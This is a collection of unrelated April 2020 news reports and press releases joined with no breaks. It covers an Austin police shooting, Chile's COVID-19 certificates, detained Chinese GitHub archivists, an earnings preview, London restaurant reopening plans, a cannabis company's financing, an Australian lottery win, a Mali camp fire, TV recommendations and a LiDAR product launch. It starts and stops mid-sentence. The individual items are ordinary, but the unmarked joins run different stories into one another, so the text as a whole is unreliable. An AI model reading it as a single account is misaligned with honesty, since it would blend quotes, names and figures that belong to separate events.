Monday that hes disturbed by a video he has seen of the fatal shooting of a man by an Austin police officer as the man drove away from police. Mike Ramos does not appear to threaten but ends up dead. Theres got to be a better way, Adler said in a statement. Im very disturbed. Ramos, 42, and described as Hispanic was fatally shot by an officer with a rifle on Friday as he drove away from officers after first being shot with a beanbag by another officer, Police Chief Brian Manley said. The shooting prompted Gavino Fernandez Jr., president of the East Austin chapter of the League of United Latin American Citizens, to call for Manleys resignation. Manley on Monday offered condolences to Ramos family and said he also has watched videos of the shooting. This is a trying time for our community, I share your concerns, Manley said. Police are investigating the shooting with the district attorney and other agencies, Manley said. Manley said officers were investigating reports of people in a car, including an armed man, doing drugs when they encountered Ramos. Manley said Ramos got out of the car with his hands up and his shirt raised as if to show he had no gun in his waistband, but then ignored officers orders to remain outside the car and was shot first with a beanbag, then as he drove away he was shot with a rifle by Officer Christopher Taylor. Manley said the car has been searched, but declined to say whether a gun has been found. A police spokesperson did not immediately return a phone call Monday to clarify Taylors status. We have many witnesses that have yet to be interviewed and I do not want to put out information that they may not be aware of that would influence or change a statement that they may make, Manley said. Adler said there are many questions still unanswered. We must respond to this moment and also to the fear, anxiety and lack of confidence expressed by communities of color, Adler said. This incident happens against the backdrop of investigations and assessments of the department that must also be full, transparent, concluded and reported. Manley said that a full and transparent investigation is why he asked other agencies for assistance. Earlier this month, San Antonio lawyer Lisa Tatum, who was hired by the city to investigate anonymous allegations of racist texts by a now retired Austin assistant police chief reported that she found no evidence of racist comments, but said she did find cultural issues of racial bias that should be addressed by the police department. Austin is Texas state capital with a population of about 790,000 and is home to the University of Texas flagship campus. By Dave Sherwood SANTIAGO (Reuters) - Chile will push ahead with previously announced "release certificates" for recovered COVID-19 patients despite a World Health Organization warning that there was no evidence they are protected from a second coronavirus infection. Paula Daza, sub-secretary of Chile's Health Ministry, told reporters on Sunday that while many uncertainties remain about the global pandemic, evidence points to a reduced risk after a first bout of coronavirus. "One of the things we know is that a person who has...lived through the disease is less likely to become ill again," Daza said. She said certifying this status was the "goal of the COVID-19 card that is being prepared will soon be delivered" to patients. The World Health Organization on Saturday warned governments against issuing "immunity passports" to people who have been infected as their accuracy could not be guaranteed. The United Nations agency said issuing the certificates could inspire false confidence and increase the risk of spreading the virus. People who have recovered may ignore advice about taking precautions against the virus, the WHO said. "There is currently no evidence that people who have recovered from COVID-19 and have antibodies are protected from a second infection," it said. Daza clarified on Sunday that the certificates Chile planned to issue did not certify immunity. "It is very important, and I want to reiterate, that we have not talked about an immunity card," she said. But Chile's top health official, Jaime Manalich, said early in April those who have recovered from coronavirus represented a population that was immune to the coronavirus and incapable of transmitting it. He said those with the medical discharge certificate would be "freed from all types of quarantine or restriction, specifically because they can help their communities enormously since they pose no risk." Story continues Sub-secretary Daza did not specifically address the contradiction when asked by a reporter Sunday. Chile has confirmed 13,331 cases of coronavirus since outbreak began in the South American nation in early March, as well as 189 deaths. (Reporting by Dave Sherwood; Editing by Lisa Shumaker) China has been criticised for censoring whistleblowers who used the internet to inform the public about the outbreak - Johannes Eisele/AFP Three Beijing-based internet activists have disappeared and are believed to be detained by police for archiving censored coronavirus news stories online, according to a relative. China has faced criticism over its handling of the outbreak, including punishing whistleblowers who tried to warn about the new virus. Chen Mei, Cai Wei and his girlfriend surnamed Tang who contributed to the crowd-sourced project on the software development platform GitHub went missing on April 19, according to Chens brother Chen Kun. The volunteer-driven project, named Terminus2049, preserved articles that were blocked or removed from mainland news outlets and social media by Chinas aggressive online censorship. Two of the volunteers, Cai and Tang, were charged with picking quarrels and provoking trouble and are currently under residential surveillance at a designated location, according to a notice from Beijings Chaoyang District police received by their families, and seen by AFP. Chen Kun said that he is still waiting on official confirmation from Chaoyang police that his younger brother, aged 26, has been detained. I understand that Cai and Tang disappeared around the same time as Chen Mei, Chen told AFP. Given that both Chen and Cai were contributors to the Terminus2049 project, we suspect their disappearance was related and relevant to the project. The online project included many sensitive coronavirus stories published in recent months, such as personal narratives by Wuhan citizens and an infamous interview with Wuhan Central Hospital doctor Ai Fen, one of the earliest virus whistleblowers. The article, published by People magazine in March, was widely circulated by Chinese netizens in a number of languages and formats including Morse code to evade censorship after it was abruptly pulled from the internet. As China tries to control the domestic narrative surrounding the chaotic initial months of the outbreak, similar crowd-sourced initiatives have flourished on GitHub, which is used by an increasing number of tech-savvy Chinese as a last frontier against ever-tightening internet censorship. Story continues Owned by Microsoft, the US-based website remains accessible in China although the Terminus2049 page is blocked. News of the Terminus2049 trios disappearance made a stir online in Chinese activist circles. What quarrels were they picking, and what troubles were they provoking? Show me legal proof, said the outspoken Tsinghua University sociology professor Guo Yuhua on Twitter Sunday, referring to Cai and Tangs charges. Picking quarrels and provoking trouble is a vaguely defined charge often used by Chinese authorities to target activists and dissidents, which carries a prison sentence of up to five years. The administrators of 2019nCoVMemory another GitHub coronavirus archive made the protective move to restrict access to its site to members only, according to an email sent to subscribers that was circulated on Weibo. Chaoyang public security bureau and the administrators of 2019nCoVMemory have not responded to requests for comment. T. Rowe Price Group, Inc. TROW is scheduled to report first-quarter 2020 results, before the bell on Apr 28. The companys revenues are projected to reflect a year-over-year increase, while earnings are likely to decline. In the last reported quarter, T. Rowe Prices earnings outpaced the Zacks Consensus Estimate on higher assets under management (AUM) and revenues. However, escalating expenses were a concern. T. Rowe Price recorded positive earnings surprises in all of the trailing four quarters, the average beat being 8.17%. Notably, the companys activities in the first quarter were inadequate to win analysts confidence. As a result, the Zacks Consensus Estimate for earnings of $1.85 remained unchanged, over the last seven days. The figure indicates a year-over-year decline of 1.07%. The Zacks Consensus Estimate for first-quarter sales is pegged at $1.42 billion, suggesting an increase of 7.33% year over year. T. Rowe Price Group, Inc. Price and EPS Surprise T. Rowe Price Group, Inc. Price and EPS Surprise T. Rowe Price Group, Inc. price-eps-surprise | T. Rowe Price Group, Inc. Quote Lets see how things have shaped up for this announcement. The company doesnt has the right combination of the two key ingredients for a possible earnings beat a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or at least 3 (Hold). You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter. Earnings ESP: The Earnings ESP for the stock is 0.00%. Zacks Rank: T. Rowe Price currently carries a Zacks Rank of 4, which decreases the predictive power of ESP. Factors at Play Overall Outflows Likely: T. Rowe Price is likely to have witnessed net outflows on a combined basis, having recorded outflows in U.S. mutual fund products and other investment portfolios during the first quarter. Furthermore, equity markets put up a dismal performance in the quarter, with the S&P 500 Index plunging 19.6% sequentially on the coronavirus scare. Therefore, the companys results will likely reflect a fall in AUM on overall outflows and unfavorable market returns. Hence, investment advisory fees might have been negatively impacted in the quarter. The consensus mark of $1.3 billion indicates a 5.9% sequential decline. Nonetheless, administrative, service and distribution fees of $125 million suggest marginal sequential growth. Notably, the Zacks Consensus Estimate for AUM is pinned at $1.22 billion, marginally up on a sequential basis, while net cash outflows are projected at $8.3 billion. Revenue Growth: T. Rowe Prices efforts to improve its operating efficiency have resulted in year-over-year top-line growth, over the past few years. We believe the company is well poised to sustain this encouraging uptrend in the near term. This comes on the back of several planned initiatives largely tied with launching investment strategies and vehicles, enhancing client-engagement capabilities in each distribution channel, strengthening distribution channel in the United States, EMEA, and the Asia Pacific, and boosting its technology platform and deriving long-term cost efficiencies. Rising Expenses: The company has not updated on anything related to its cost-control initiatives during the March-end period. It incurs significant expenditures to attract new investment advisory clients and additional investments from existing clients. T. Rowe Price expects a 6-9% expense rise for 2020. Notably, the company anticipates capital expenditures to be approximately $210 million, including two-third for technology development. Therefore, the quarterly results might reflect the impact of such projections as well. Stocks that Warrant a Look Here are a few stocks you may want to consider, as according to our model these have the right combination of elements to post an earnings beat this quarter. Seacoast Banking Corporation of Florida SBCF is scheduled to release results on Apr 28. The company currently has an Earnings ESP of +9.38% and currently carries a Zacks Rank of 3. You can see the complete list of todays Zacks #1 Rank stocks here. The Earnings ESP for Boston Private Financial Holdings, Inc. BPFH is +1.54% and the stock carries a Zacks Rank of 3, currently. The company is set to announce quarterly numbers on Apr 29. First BanCorp. FBP is slated to report earnings figures on Apr 30. The company, which carries a Zacks Rank of 3 at present, has an Earnings ESP of +8.51%. Just Released: Zacks 7 Best Stocks for Today Experts extracted 7 stocks from the list of 220 Zacks Rank #1 Strong Buys that has beaten the market more than 2X over with a stunning average gain of +24.1% per year. These 7 were selected because of their superior potential for immediate breakout. See these time-sensitive tickers now >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report T. Rowe Price Group, Inc. (TROW) : Free Stock Analysis Report First BanCorp. (FBP) : Free Stock Analysis Report Seacoast Banking Corporation of Florida (SBCF) : Free Stock Analysis Report Boston Private Financial Holdings, Inc. (BPFH) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research R estaurants are preparing for life after lockdown with a range of radical measures that will keep diners safe but will involve drastic changes to the way Londoners eat out. Leading figures contacted by the Standard say that customers will have to get used to supermarket-style queues outside the front entrance and for the lavatories to reduce close contact, as well as waiters in facemasks and gloves, far more widely spaced tables, and constant spraying and wiping of objects touched by customers such as door handles. Diners with coughs could be refused entry. Some are even looking to innovations that have allowed Hong Kong restaurants to reopen, such as pre-ordering food and drink to cut out the need for handing out menus, and payment in advance so that no card machines have to be passed to diners. Food and drink could also be delivered to empty tables close to diners who would then have to carry plates and glasses to their own place settings. Screens between tables is also an option and cost-cutting measures such as limited menus are likely. London during Coronavirus lockdown - In pictures 1 /66 London during Coronavirus lockdown - In pictures A woman jogging near City Hall, London, the day after Prime Minister Boris Johnson put the UK in lockdown PA An image of Queen Elizabeth II and quotes from her broadcast on Sunday to the UK and the Commonwealth in relation to the coronavirus epidemic are displayed on lights in London's Piccadilly Circus PA A pedestrian walks past a billboard reading "Please believe these days will pass" on Broadway Market in east London AFP via Getty Images Military vehicles cross Westminster Bridge Getty Images Boris Johnson Jeremy Selwyn Sun-seekers cool off in the water and sunbathe on the riverbank at Hackney Marshes in east London AFP via Getty Images Ed Davey is shown on screens as he speaks via videolink during Prime Minister's Questions in the House of Commons, London PA A herd of fallow deer graze on the lawns in front of a housing estate in Harold Hill in east London AFP via Getty Images A woman wearing a mask crosses a bridge over Camden Lock, London PA An empty Millenium Bridge PA A sign advertising a book titled "How Will We Survive On Earth?" is seen on an underground station platform Getty Images People push to enter the Niketown shop in Londo AP Jo Proudlove and daughter Eve, 9, follow the daily online "PE with Joe" Joe Wickes' exercise class on "Fancy dress Friday Reuters Police in Westminster Jeremy Selwyn Waterloo station looking empty PA Getty Images A quiet Parliament Square Getty Images PABest A man walks along a passageway at London's Oxford Street Underground station the day after Prime Minister Boris Johnson put the UK in lockdown to help curb the spread of the Coronavirus PA Social distancing markers around the camel enclosure at ZSL London Zoo PA A police car patrols Greenwich Park in London PA The Premier League in action in front of empty stands AP Novikov restaurant in London with its shutters pulled down while the restaurant is closed. A deserted Piccadilly Circus PA A general view is seen of a deserted Trafalgar Square AFP via Getty Images Getty Images The iconic Abbey Road crossing is seen after a re-paint by a Highways Maintenance team as they take advantage of the COVID-19 coronavirus lockdown and quiet streets to refresh the markings Getty Images A view of 20 Fenchurch Street (the 'Walkie Talkie' building) in the City of London, the day after Prime Minister Boris Johnson put the UK in lockdown to help curb the spread of the coronavirus PA A deserted Chinatown PA A person looks at graffiti on a JD Wetherspoon pub in Crystal Palace, south London. Wetherspoons workers have described founder Tim Martin's lack of support for his chain's 40,000 employees as "absolutely outrageous" PA The London ExCel centre that has been turned into a makeshift NHS Hospital and critical care unit to cope with the Coronavirus pandemic PA The Palace Theatre, which usually shows the Harry Potter and the Cursed Child play, sits in a deserted Shaftesbury Avenue PA The Sondheim Theatre, which usually shows the Les Miserables musical, sits in a deserted Shaftesbury Avenue PA Two members of a British Army mounted regiment exercise their horses in Parliament Square AP Westminster Bridge is deserted PA A quiet Canary Wharf Underground Station PA An empty street and bus stop at St James's Park AFP via Getty Images Whitehall Jeremy Selwyn A quiet Canary Wharf Underground Station PA A single pedestrian walks past The national Gallery AFP via Getty Images London Bridge Station Jeremy Selwyn Kings Cross and St Pancras Jeremy Selwyn Buckingham Palace looking empty in London, PA London Bridge Station Jeremy Selwyn Kings Cross and St Pancras Jeremy Selwyn London Bridge Station Jeremy Selwyn London's Carnaby Street empty as shops closed after a lockdown was announced in the latest bid to stop the spread of coronavirus through the UK AP A quiet Jubilee line westbound train carriage PA A single pedestrian walks past The national Gallery AFP via Getty Images A quiet Canary Wharf Underground Station PA Empty Embankment Jeremy Selwyn However, restaurant bosses have warned that the two-metre social distancing rules will have to be relaxed or the industry will be wiped out. The sectors trade body UK Hospitality has calculated that strict observance of the rule will cut the capacity of fine dining restaurants by an average of 55 per cent, and of more casual restaurants, where tables are closer together, by 70 per cent. Ranjit Mathrani, chairman of restaurant group MW Eat, which runs Londons Chutney Mary, Amaya, Veeraswamy and the Masala Zones mini-chain, said that social distancing of about 75cm is the maximum that most restaurant businesses could tolerate and still have a chance of making money. Michelin-starred chef Jason Atherton Michelin-starred chef Jason Atherton said that he was planning to remove about 40 per cent of the tables from his restaurants, which includes his Mayfair flagship, Pollen Street Social. He said that diners would be offered the option of pouring their own wine, and the days of having three or four waiters all over you at your table are over for now. He will also have an extra member of staff on the door so that arrivals can be whisked to their tables. Sam Harrison, owner of Sams Riverside in Hammersmith, said it would be incredibly hard to make it work but was considering removing half the tables, only opening Thursday evening to Sunday lunch, as well as installing portable hand basins at the entrance. Des Gunewardena, chief executive of fine-dining group D&D London said a huge lack of guidance from government was making it hard to plan for reopening. Hear chef Jason Atherton talk more on this episode of The Leader: Coronavirus Daily podcast [April 28, 2020] Auxly Secures $25 Million Convertible Debenture Standby Financing and Closes Initial Tranche TORONTO, April 28, 2020 (GLOBE NEWSWIRE) -- Auxly Cannabis Group Inc. (TSX.V: XLY) (OTCQX: CBWTF) (Auxly or the Company) is pleased to announce that it has entered into an investment agreement (the Agreement) with an institutional investor (the Investor) as a standby facility to provide the Company with access to additional capital. This provides the Company with the opportunity to sell, on a private placement basis, unsecured convertible debentures of the Company (collectively, the Convertible Debentures) in the principal amount of up to $25,000,000 (the "Offering"). The Convertible Debentures will be issuable in tranches at the request of the Company, as described in greater detail below. Auxlys focus on Cannabis 2.0 and our ability to execute on delivering a compelling portfolio of branded cannabis products that resonate with and delight their chosen consumer segments has attracted significant investment interest, even in a difficult market and during a time of general uncertainty, said Hugo Alves, CEO of Auxly. Im proud that we are able to continue to support long-term growth via increased equity, while minimizing dilution for our shareholders by staggering the financing into tranches. The Company intends to use the net proceeds from the Offering, as required, to build on the launch of its Cannabis 2.0 products through additional capacity and automation in 2020, at the Companys manufacturing hub, Dosecann, and for general corporate and working capital purposes. Each Convertible Debenture will have a maturity date of 24 months from the date of issue (the Maturity Date) and will bear guaranteed interest from the date of issue at 7.5% per annum, payable semi-annually on June 30 and December 31 of each year. The Convertible Debentures will be convertible, at the option of the holder, into common shares of the Company (Common Shares) at any time prior to the close of business on the last day immediately preceding the applicable Maturity Date. The Convertible Debentures will have a conversion price (the Conversion Price) equal to the closing price of the Common Shares on the TSX Venture Exchange (the TSXV) on the trading day immediately prior to the closing date for such tranche. The Company may require the Investor, at any point after four months and one day after the date of issuance of a Convertible Debenture, to convert: up to 50% of the principal amount of such Convertible Debenture if for any five consecutive trading days the volume weighted average price (the "VWAP") of the Common Shares on the TSXV is greater than 112% of the Conversion Price; or up to 100% of the principal amount of such Convertible Debenture if for any five consecutive trading days the VWAP of the Common Shares on the TSXV is greater than 120% of the Conversion Price; and/or 100% of the principal amount of such Convertible Debenture at any time by paying a mutually agreeable make-whole payment to the Investor, plus in each case interest on the principal amount of such Convertible Debenture. In addition to an initial tranche of $1.25 million (the Initial Tranche), the Company may request that the Investor subscribe for subsequent tranches of Convertible Debentures at an amount per Convertible Debenture mutually agreeable to the Company and the Investor. Each tranche of additional Convertible Debentures will be issuable beginning the 30th day following the closing of the Initial Tranche (or the most recently issued tranche). Contemporaneously with the issuance of each Convertible Debenture, the Investor will also receive such number of Common Share purchase warrants of the Company (the Warrants) as is equa to 55% of the number of Common Shares into which the Convertible Debenture is convertible based on the applicable Conversion Price. Each Warrant will be exercisable to purchase one Common Share for a period of 24 months from the date of issuance at an exercise price equal to 120% of the applicable Conversion Price. Closing of Initial Tranche In connection with the execution of the Agreement, the Company also completed the Initial Tranche for gross proceeds of $1.25 million at a conversion price of $0.435 per Common Share, and issued the Investor Warrants to acquire up to 1,580,460 Common Shares until April 29, 2022 at an exercise price of $0.522 per Common Share. In connection with the completion of the Initial Tranche, the Company has agreed to indemnify (the Indemnity) certain of its directors and officers for any and all losses not otherwise recoverable from the collateral provided by the Investor for the Common Shares provided by such directors and officers to the Investor pursuant to the terms of the Agreement. The Indemnity may constitute a related party transaction under Multilateral Instrument 61-101 Protection of Minority Security Holders in Special Transactions ("MI 61-101"), but is otherwise exempt from the formal valuation and minority approval requirements of MI 61-101. The Indemnity has been approved by the independent directors of the Company. No special committee was established in connection with the Offering, the completion of the Initial Tranche or the granting of the Indemnity, and no materially contrary view or abstention was expressed or made by any director of the Company in relation thereto. Further details will be included in a material change report that will be filed by the Company in connection with the completion of the Initial Tranche. The Company did not file the material change report more than 21 days before the expected closing date of the Initial Tranche as the details of the Initial Tranche and the terms of the Indemnity were not settled until shortly prior to the closing of the Initial Tranche, and the Company wished to complete the Initial Tranche on an expedited basis for sound business reasons. All securities issued by the Company under the Initial Tranche are subject to a statutory four-month hold period in accordance with applicable securities legislation. AltaCorp Capital Inc. is acting as exclusive agent on the Offering. This news release does not constitute an offer to sell, or a solicitation of an offer to buy, any of the securities referenced herein in the United States. The securities referenced herein have not been and will not be registered under the United States Securities Act of 1933, as amended (the "U.S. Securities Act") or any state securities laws and may not be offered or sold within the United States or to U.S. Persons unless registered under the U.S. Securities Act and applicable state securities laws or an exemption from such registration is available. ON BEHALF OF THE BOARD "Hugo Alves" CEO About Auxly Cannabis Group Inc. (TSX.V: XLY) (OTCQX: CBWTF) Auxly is an international cannabis company dedicated to bringing innovative, effective, and high-quality cannabis products to the medical, wellness and adult-use markets. Auxly's experienced team of industry first-movers and enterprising visionaries has secured a diversified supply of raw cannabis, strong clinical, scientific and operating capabilities and leading product research and development infrastructure in order to create trusted products and brands in an expanding global market. Learn more at www.auxly.com and stay up to date at Twitter: @AuxlyGroup; Instagram: @auxlygroup; Facebook: @auxlygroup; LinkedIn: company/auxlygroup/. Investor Relations: For investor enquiries please contact our Investor Relations Team: Email: [email protected] Phone: 1.833.695.2414 Media Enquiries (only): For media enquiries or to set up an interview please contact: Email: [email protected] Notice Regarding Forward Looking Information This news release contains certain "forward-looking information" within the meaning of applicable Canadian securities law. Forward-looking information is frequently characterized by words such as "plan", "continue", "expect", "project", "intend", "believe", "anticipate", "estimate", "may", "will", "potential", "proposed" and other similar words, or information that certain events or conditions "may" or "will" occur. This information is only a prediction. Various assumptions were used in drawing the conclusions or making the projections contained in the forward-looking information throughout this news release. Forward-looking information in this press release includes, but is not limited to: the timing and proposed completion of the Convertible Debenture offering; the expected use of proceeds of the offering by the Company; obtaining the necessary regulatory approval for the offering; political change; future legislative and regulatory developments involving cannabis and cannabis products; and competition and other risks affecting Auxly in particular and the cannabis industry generally. A number of factors could cause actual results to differ materially from a conclusion, forecast or projection contained in the forward-looking information included in this release including, but not limited to: whether the Company can complete the offering on the anticipated terms and timeline; the ability to obtain regulatory approval of the offering on the proposed terms and timeline; and general economic, financial market, legislative, regulatory, competitive and political conditions in which Auxly operates will remain the same. Additional risk factors are disclosed in the revised annual information form of Auxly for the financial year ended December 31, 2017 dated May 24, 2018. New factors emerge from time to time, and it is not possible for management to predict all of those factors or to assess in advance the impact of each such factor on Auxly's business or the extent to which any factor, or combination of factors, may cause actual results to differ materially from those contained in any forward-looking information. The forward-looking information in this release is based on information currently available and what management believes are reasonable assumptions. Forward-looking information speaks only to such assumptions as of the date of this release. The purpose of forward-looking information is to provide the reader with a description of management's expectations, and such forward-looking information may not be appropriate for any other purpose. Readers should not place undue reliance on forward-looking information contained in this release. The forward-looking information contained in this release is expressly qualified by the foregoing cautionary statements and is made as of the date of this release. Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. [ Back To TMCnet.com's Homepage ] A new retiree who has never been outside Australia has won $23million in the lottery only to have coronavirus limit his travel plans. The man from Narre Warren in Melbourne's south-east has claimed the division one Powerball prize - five days after Thursday night's draw. Months before winning one of Australia's biggest ever lottery prizes, he had to cancel an overseas trip. 'I was so disappointed,' he told the Lott publicity team. 'I have never been outside of Australia but have always wanted to go.' A new retiree who has never been outside Australia has won $23million in the lottery only to have coronavirus limit has travel plans. The man from Narre Warren in Melbourne's south-east took the division one Powerball prize from Thursday night's draw The instant millionaire, who wished to remain anonymous, said he hoped to travel overseas, once the world's borders opened again. 'As soon as the travel bans are lifted we'll be taking a family holiday overseas,' he said. The COVID-19 pandemic stretched his family's finances, with the Powerball win a relief for someone who hadn't 'been able to retire up until now'. 'My family have been really affected by the coronavirus so it will be awesome to know we will be okay,' he said. Prime Minister Scott Morrison closed Australia's borders to non-citizens and non-residents on March 20. Professor Peter Collignon, an infectious diseases expert from Australian National University, said Australians would be unlikely to be allowed to travel overseas until October at the earliest - depending on infection rates in Europe and North America. The instant millionaire, who wished to remain anonymous, said he hoped to travel overseas, once the world's borders opened again. Pictured is a bulldozer blocking a Virgin Australia jet at Perth airport 'You would only be allowed to go if it was a relatively safe place but you'd have to put up with being quarantined for two weeks when you get back,' he told Daily Mail Australia on Tuesday. How the coronavirus restrictions could be eased MAY: More schools open. No more fines for leaving home JUNE: Gatherings limit increased to allow very small social events. Restrictions lifted on 'non-essential' businesses and shops JULY: Pubs, cafes, restaurants return but with 'tight controls' - limits on numbers and spaces between groups AUGUST/SEPTEMBER: Interstate holidays resume with half-empty planes. Pubs, restaurants and cafes fully reopened. OCTOBER: The earliest international travel to select countries could resume but returning travellers would still need to quarantine for 14 days Advertisement That could occur a short time after Queensland, South Australia, Western Australia, Tasmania and the Northern Territory reopened their borders in August and September. During that time, travel could resume with New Zealand, which like Australia has low COVID-19 infection rates. 'Domestic travel will start up again much easier providing we can keep our infections rates low here, plus lots of testing, washing hands, no big crowds and physical distancing,' he said. Even if he can't travel overseas anytime soon, the Powerball winner has the distinction of winning one of Australia's biggest-ever lottery prizes, although it's a long way from a $150million Powerball prize last year claimed by three winners. An Australian record for an individual was set in January 2019 when an inner-Sydney woman won $107million from an online Powerball entry. That prize, won by a healthcare worker in her forties, dwarfed the previous $70million record set in January 2016 when grandparents from Hervey Bay, north of Brisbane, won the Powerball jackpot. Professor Peter Collignon, an infectious diseases expert from Australian National University, said Australians would be unlikely to be allowed to travel overseas until October at the earliest - depending on infection rates in Europe and North America. Pictured is tape enforcing social distancing at Perth airport Two years earlier, in December 2013, a group of women from Runaway Bay on the Gold Coast won $70million from OzLotto after buying tickets with their left-over lunch money. Australia's biggest lottery prizes SEPTEMBER 2019: $150million Powerball (Sydney, Queensland) JANUARY 2019: $107million Powerball (Sydney's inner-west) JANUARY 2016: $70million Powerball (Hervey Bay, Queensland) DECEMBER 2013: $70million OzLotto (Runaway Bay, Gold Coast) NOVEMBER 2018: $60million Powerball (Burleigh Heads, Gold Coast) JANUARY 2018: $55million Powerball (Brunswick, Melbourne's inner north) Advertisement Proving the Gold Coast is indeed a lucky area, a $60million Powerball prize was won by a retiree from Burleigh Heads in November 2018. In January 2018, a mystery Melbourne Powerball player, from Brunswick in the city's inner-north, won $55million from a January ticket - but didn't claim the prize until July. Last year for a blue collar worker, from St Albans in Melbourne's north-west, won $46.6 million after buying the same OzLotto ticket twice. The latest Powerball winner took $23million from draw 1249 with the numbers 32, 35, 3, 18, 7, 6 and 14. The all-important Powerball number was two. The winning entry was bought at Casey News & Lotto, at Casey Central Shopping Centre in Narre Warren South. The Faladie camp, which is mostly made up of makeshift huts, was home to about 1,000 people. Displaced Malians have been forced to flee after a fire tore through their makeshift camp in the capital, Bamako, destroying tents and reducing the land to ashes. Nobody was reported killed in Tuesdays fire, Security Minister Salif Traore told AFP news agency. The Faladie camp little more than a collection of huts resting on a landfill was home to more than 1,000 people, most of whom had fled violence in central Mali. I had been living there for two years, said Aminata Diallo while looking at the ruins of her hut. She told AFP she had fled her home in central Mali because of war and again I have lost everything. Officials said they were not yet sure what started the fire, but one survivor said people had been burning rubbish in the landfill. People set fire to waste to burn it and with the strong wind today everything caught fire at the end of the morning, it is a disaster, said Ibrahim Maiga, a survivor of the fire. We dont know what to do tonight, what to do next, said Ibrahima Sarre, a humanitarian worker at the camp. Officials promised to find somewhere else for the people to go. Mali is struggling to contain an armed rebellion that erupted in 2012, and which has claimed thousands of military and civilian lives since. Zoe Kazan in "The Plot Against America." (Michele K. Short/HBO) As a second month of social distancing to halt the spread of the coronavirus goes on, you may have moved past the comforts of a reality TV binge or become agitated by cartoon bears flaunting their access to toilet paper. That's OK. We're here for you. Whether you're the sort of viewer who's fascinated by the real history behind "Mrs. America" or just wants the dishy details of Carmen Electra's relationship with Dennis Rodman, we're bound to be covering something to your taste. (And if not, well, here are 51 alternatives.) To that end, the TV team here at The Times has also launched this weekly recommendation engine one based on what were watching ourselves. Think of it as your work-from-home water cooler, where we bring the water cooler to you. "The Plot Against America" Available on: HBO It took me an episode or two to warm to this adaptation of Philip Roths alternate history, told from the perspective of a working-class Jewish family, in which Charles Lindbergh is elected president in 1940 keeping the United States out of World War II and enabling Hitler to continue his conquest of Europe unimpeded. Like most shows from David Simon, who created the series with Ed Burns, The Plot Against America is initially slow, devoted to establishing a world through quietly observed social realism rather than in-your-face action. But once Lindbergh, the famed aviator, xenophobe and Nazi apologist, lands in the White House, upending the lives of the Levins in 1940s Newark, the series moves with disorienting speed. It is difficult to miss the many implied parallels between present circumstances and this story of creeping fascism under a celebrity president swept into office on an isolationist message of America First. (Fair warning: The finale, which ran last week and includes an election set amid a national crisis, might give you preemptive panic attacks about November.) But what really makes it all worth watching is a quietly ferocious performance by Zoe Kazan as Bess, a housewife horrified by the insidious march of anti-Semitism in her country, community and even her own family. Story continues Meredith Blake "American Crime" Available on: Netflix This critically acclaimed anthology series from Oscar winner John Ridley (12 Years a Slave") might have attracted a larger viewership during its three seasons if it had been on cable or a streaming service instead of ABC. The drama, which premiered in 2015, took provocative and uncompromising looks at racism, immigration, the difference between private and public education and other hot topics, performed by a top-notch cast including Felicity Huffman, Timothy Hutton, Lili Taylor and Regina King. The performers took on different roles each season, giving the drama an extra dose of intrigue. King won two supporting actress Emmys, an early barometer of her rise into Hollywoods elite ranks in the following years when she would win an Oscar (If Beale Street Could Talk) and land the starring role in HBOs hit series Watchmen. One of the most important dramas of the last decade still has profound resonance today. Greg Braxton Gemma Whelan as Kate, David Mitchell as William Shakespeare and Tim Downie as Christopher Marlowe in the Ben Elton sitcom "Upstart Crow." (Britbox) "Upstart Crow" Available on: BritBox Ben Elton ("Blackadder") devised this excellent multicamera sitcom about William Shakespeare, whose 456th birthday it was last week. David Mitchell ("Peep Show," "That Mitchell and Webb Look"), an actor skilled in peevishness, stars as the immortal Bard, convinced of the greatness toward which he accidentally stumbles. (His tragedies are usually first conceived as light comedies.) Though the references are undoubtedly funnier when you know something of the works and history, it's a workable family cum workplace comedy, with scenes split between London and Stratford-Upon-Avon this is the only Shakespeare fantasia I can think of that takes any interest in his home life. Current events are satirized, along with ancient and modern theatrical trends. (An episode on "The Merchant of Venice" takes on British nativism, comedy fundraisers and actor Mark Rylance.) Also, because this is high-class British humor, there are fart jokes. Robert Lloyd "Reasonable Doubt" Available on: ID (Investigation Discovery) Confession: Im an ID network addict... but that doesnt mean Ill watch any commonplace true crime fare. I generally forgo the terribly themed shows (Man With a Van, Wives With Knives") for detective and investigator narratives hosted by the sleuths themselves. Since Homicide Hunter Lt. Joe Kenda retired his show, my new go to is Reasonable Doubt. For three seasons and 28 episodes, defense attorney Fatima Silva and retired homicide detective Chris Anderson have re-examined controversial murder cases at the request of the families of the convicted. They deconstruct the crime, look at new and old evidence and speak with witnesses to help the family decide if its time to appeal or accept the guilty verdict. Its an emotional journey, the results are never predictable and episodes often reveal painful truths about socioeconomics and American criminal justice. Lorraine Ali The Last Man on Earth Available on: Hulu Long before we all began to shelter in place to curb the spread of a deadly virus, Fox aired a series about what happens after the spread of a deadly virus. (And if thats not eerie enough, the half-hour show is set in 2020!) Thankfully, this 2015 comedy finds four seasons of humor in this dark and, one hopes, only speculative premise, which has plenty of small similarities to whats become our new normal. Its episodes include solitary birthday celebrations, existential ponderings of societys future and the mourning of lost loved ones from a safe but sad distance. And itll really make you thankful that your plumbing still runs, that grocery stores are open and that you arent quarantined with strangers. Ashley Lee [April 28, 2020] Quanergy Accelerates a Safe Return to Work with 3D LiDAR Solutions for Social Distancing Quanergy Systems, Inc., a leading provider of LiDAR (Light Detection and Ranging) sensors and smart perception solutions, today announced the expansion of its Flow Management Platform to support solutions that enforce social distancing, regarded by medical experts as the most impactful strategy to halt the spread of COVID-19. These solutions will assist businesses and public entities around the world in returning to work while keeping people safe. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005957/en/ 3D LiDAR Social Distancing Solutions to Accelerate Safe Return to Work (Photo: Business Wire) Quanergy's Flow Management Platform, which combines its state-of-the-art 3D LiDAR sensors with its AI-powered QORTEX Perception Software, enables the development of sophisticated social distancing solutions to anonymously and accurately track and analyze the flow of people in real time within retail locations, airports, public venues, commercial and government buildings, and industrial warehouses. LiDAR uses light to locate and identify objects with a high degree of accuracy in any lighting conditions. Quanergy's QORTEX Perception Software uses LiDAR data to identify and track individuals throughout an environment without compromising or storing any personal privacy information, unlike camera-based systems. It also does not require user opt-in or the sharing of personal data, thus providing a far more effective social distancing solution than alternatives. In response to the 